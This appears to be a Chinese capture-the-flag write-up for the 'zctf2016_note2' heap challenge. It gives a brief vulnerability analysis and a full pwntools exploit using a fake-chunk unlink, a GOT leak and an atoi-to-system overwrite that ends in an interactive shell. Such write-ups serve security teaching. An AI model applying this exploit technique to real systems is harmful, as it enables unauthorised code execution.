zctf2016_note2

zctf2016_note2

首先,檢查一下程序的保護機制

 

然後用IDA分析一下,在edit函數裏存在一個溢出漏洞,我們只需要讓v6-strlen(&dest) == 0,即可繞過’\0’的截斷,實現溢出。因此我們只需add(0,’’),即可利用這個chunk來溢出,由於PIE也沒開啓並且堆指針保存在bss段,因此做unsorted bin unlink比較簡單。

需要注意的是由於使用了strcpy函數,因此,我們佈置64位數據時,必須從最後一個開始,前面用正常不截斷的字符填充,逐步向前來佈置多個64位數據。

#coding:utf8
from pwn import *

#sh = process('./note2')
sh = remote('node3.buuoj.cn',25799)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./note2')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
sh.sendlineafter('Input your name:','haivk')
sh.sendlineafter('Input your address:','huse')

def add(size,content):
   sh.sendlineafter('option--->>','1')
   sh.sendlineafter('(less than 128)',str(size))
   sh.sendlineafter('Input the note content:',content)

def show(index):
   sh.sendlineafter('option--->>','2')
   sh.sendlineafter('Input the id of the note:',str(index))

def edit(index,content,mode=1):
   sh.sendlineafter('option--->>','3')
   sh.sendlineafter('Input the id of the note:',str(index))
   sh.sendlineafter('[1.overwrite/2.append]',str(mode))
   sh.sendlineafter('TheNewContents:',content)


def delete(index):
   sh.sendlineafter('option--->>','4')
   sh.sendlineafter('Input the id of the note:',str(index))


heap_ptr_1 = 0x0000000000602120
#prev_size size
fake_chunk = p64(0) + p64(0x81 + 0x20)
#fd、bk
fake_chunk += p64(heap_ptr_1 - 0x18) + p64(heap_ptr_1 - 0x10)
fake_chunk += 'a'*0x10

add(0x80,fake_chunk) #0
add(0,'') #1
add(0x80,'b'*0x20) #2
add(0x10,'c'*0x8) #3

#通過1溢出,修改chunk2的頭數據
#修改chunk1的prev_size
#由於strncat遇0截斷,因此,寫prev_size和size的時候,我們分兩步,從後往前寫
#第一次寫size爲0x90,即設置prev_inuse爲0標記前面的chunk爲空閒狀態
payload = 'd'*0x10 + 'd'*0x8 + p8(0x90)
edit(1,payload)
#第二次寫prev_size,需要先清零prev_size處其他的d數據
for i in range(7,-1,-1):
   payload = 'd'*0x10 + 'd'*i
   edit(1,payload)
#現在寫prev_size,寫爲0x20 + 0x80
payload = 'd'*0x10 + p64(0x20 + 0x80)
edit(1,payload)
#unsorted bin unlink
delete(2)
#現在可以控制堆指針數組了
#第一次,我們先將heap[0]改成heap數組本身的地址+8,進而下一次利用
edit(0,'a'*0x18 + p64(heap_ptr_1 + 8))
#修改heap[1]爲atoi_got
payload = p64(atoi_got)
edit(0,payload)
#泄露atoi地址
show(1)
sh.recvuntil('Content is ')
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改atoi的got表爲system地址
edit(1,p64(system_addr))
#getshell
sh.sendlineafter('option--->>','/bin/sh')

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章